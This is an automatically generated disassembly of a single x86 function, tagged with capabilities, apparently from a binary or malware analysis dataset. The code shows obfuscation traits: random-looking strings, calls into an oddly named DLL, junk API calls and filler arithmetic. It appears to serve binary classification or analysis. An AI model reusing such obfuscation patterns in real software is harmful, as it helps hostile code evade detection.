Function at 0x10001df5
Capabilities:
Accept command line arguments
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
mov eax, dword [0x1001b078]
xor eax, esp
mov dword [esp + 0x258], eax
push ebx
push esi
push edi
xor esi, esi
push str.VvSBOomSC
mov dword [esp + 0x18], esi
mov dword [0x1001c3e8], 0x635e
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x208
mov dword [0x1001eb7c], eax
mov dword [esp + 0x10], eax
call fcn.10002738
pop ecx
push esi
mov ebx, eax
lea eax, [esp + 0x14]
push eax
mov edi, 0x104
push edi
push ebx
push dword [esp + 0x1c]
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
cmp eax, esi
je 0x10001e72
mov ecx, dword [0x1001c3f0]
imul ecx, ecx, 0x104
add ecx, eax
jmp 0x10001e76
mov ecx, dword [esp + 0x10]
push 0x10
mov dword [0x1001c3f0], ecx
mov dword [0x1001e650], ebx
call fcn.10004782
pop ecx
cmp eax, esi
je 0x10001e97
mov ebx, eax
call fcn.10001030
mov esi, eax
xor eax, eax
inc eax
push eax
mov byte [esi], 0x20
mov dword [esi + 0xc], eax
call fcn.10004782
mov cl, byte [esi + 0xc]
mov dword [esp], 0x1001e64c
push str.g1yub2o88i8jl2jympripphnh2jtt09oi
push 6
mov dword [0x1001e538], eax
mov byte [eax], cl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push edi
mov ebx, 0x1001e658
push ebx
push dword [0x1001e64c]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x1001e648]
cdq
mov ecx, 0x34d
idiv ecx
add edx, 0xd1a
je 0x10001f01
mov eax, dword [0x1001c3e8]
cdq
mov ecx, 0x2176
idiv ecx
sub dword [0x1001c3e8], edx
jmp 0x10001f08
and dword [0x1001c3e8], 0
fld qword [0x10017890]
call fcn.10012230
fstp dword [esp + 0xc]
fld dword [esp + 0xc]
fstp dword [esp + 0x10]
fld qword [0x10017888]
call fcn.10012360
fstp dword [esp + 0xc]
fld dword [esp + 0xc]
push edi
fmul dword [esp + 0x14]
push ebx
push edi
mov esi, 0x1001e540
push esi
fstp dword [0x1001c3e4]
call fcn.10003da2
add esp, 0x10
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov dword [esp + 0x44], 0x3e573473
mov byte [esp + 0x48], 0
lea edi, [esp + 0x49]
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [esp + 0x45]
push eax
lea eax, [esp + 0x3c]
push eax
mov dword [esp + 0x40], 0x4030201
mov dword [esp + 0x44], 0x8070605
mov word [esp + 0x48], 9
call fcn.100046a0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
pop ecx
pop ecx
push eax
mov dword [esp + 0x10], eax
call edi
cmp eax, 1
jle 0x10001fb5
push dword [esp + 0xc]
push str.tZoqxDCgUNNVK
call dword [sym.imp.USER32.dll_FindWindowA]
jmp 0x10001fb7
xor eax, eax
push ebx
mov dword [0x1001eb78], eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x1001774c
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.IndexerVolumeGuid
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
fld qword [0x10017850]
call fcn.100124a2
fstp dword [esp + 0x10]
fild dword [0x1001c3e8]
call fcn.100124a2
fstp dword [esp + 0xc]
fld dword [esp + 0xc]
push esi
fsub dword [esp + 0x14]
fdiv dword [esp + 0x14]
fstp dword [0x1001c3e4]
call dword [sym.imp.SHLWAPI.dll_PathStripPathA]
push 0x1001d428
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push esi
call edi
push str.commdlg_FindReplace
mov dword [esp + 0x14], eax
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov ecx, eax
imul ecx, ecx, 0xc
mov dword [0x1001d420], ecx
test ecx, ecx
jne 0x10002048
mov dword [0x1001d420], eax
push 0
push 1
push dword [0x1001eb7c]
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov al, byte [0x1001d428]
sub al, 5
cmp al, 3
ja 0x10002073
push 0xf
call fcn.10002dfd
pop ecx
jmp 0x10002075
xor eax, eax
fld dword [0x1001c3e4]
mov dword [0x1001e654], eax
fsub qword [0x10017850]
fstp dword [esp + 0xc]
fld dword [esp + 0xc]
fabs
fstp dword [esp + 0xc]
fld dword [esp + 0xc]
fld dword [0x10017880]
fucompp
fnstsw ax
test ah, 0x44
jp 0x100020b9
fild dword [0x1001c3e8]
inc dword [0x1001c3e8]
fstp dword [0x1001c3e4]
fld qword [0x10017878]
push ecx
push ecx
fstp qword [esp]
call fcn.10002ce0
pop ecx
fstp dword [esp + 0x10]
fld dword [esp + 0x10]
pop ecx
push 0x29
fstp dword [0x1001c3e4]
pop eax
cmp dword [0x1001c3e8], eax
jge 0x100020e9
mov dword [0x1001c3e8], eax
mov edi, str.lkzwelsrgol
call sym.hyubgycdixpm.dll_reYvcefpGIC
mov esi, eax
push 4
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x10002103
sbb eax, eax
sbb eax, 0xffffffff
fld dword [0x10017870]
push ecx
push ecx
fstp dword [0x1001c600]
fld qword [0x10017868]
mov esi, 0x1001d428
fstp qword [esp]
push 0x40
push eax
push str._d__d__f
push esi
mov dword [0x1001c608], eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, esi
add esp, 0x18
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000213b
sub eax, esi
mov dword [0x1001c608], eax
push 8
xor eax, eax
pop ecx
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov eax, 0x400
push eax
mov dword [esp + 0x1c], str.DmBemekqRNRqseWHMiETejDUTdT
mov dword [esp + 0x2c], str.FgpSIWzQfbShczfboptcmxtepu
mov dword [0x1001c60c], eax
call fcn.10002738
pop ecx
lea edx, [esp + 0x18]
mov dword [0x1001e650], eax
call fcn.100011e8
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x18]
push eax
call fcn.100018d4
lea eax, [esp + 0x60]
push eax
push dword [esp + 0x18]
call sym.hyubgycdixpm.dll_vmvyuivuqyghcems
push 0x1001e540
push ebx
push str.obj_S__S
lea eax, [esp + 0x74]
push 0x104
push eax
call fcn.10002752
lea eax, [esp + 0x7c]
add esp, 0x24
push eax
call fcn.10003134
mov dword [esp], str.szeutvstxc
push str.uzsnkluuz
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x46
push eax
mov dword [0x1001eb78], eax
call dword [sym.imp.USER32.dll_GetScrollPos]
add dword [0x1001e644], eax
call dword [esp + 0x14]
push 0x4000
push 0
push 0
xor esi, esi
inc esi
push esi
push dword [0x1001eb7c]
call dword [sym.imp.USER32.dll_CopyImage]
cmp dword [0x1001c608], 0x73444c
je 0x1000221c
mov dword [0x1001c608], esi
push dword [0x1001c608]
lea eax, [esp + 0x4c]
push eax
push 0x100177fc
lea eax, [esp + 0x50]
push eax
push 3
call sym.hyubgycdixpm.dll_hEFrfGVkEhRiskgN
mov al, byte [eax]
mov ecx, dword [esp + 0x278]
add esp, 0x14
pop edi
pop esi
pop ebx
mov byte [0x1001d428], al
xor ecx, esp
xor eax, eax
call fcn.10002743
mov esp, ebp
pop ebp
ret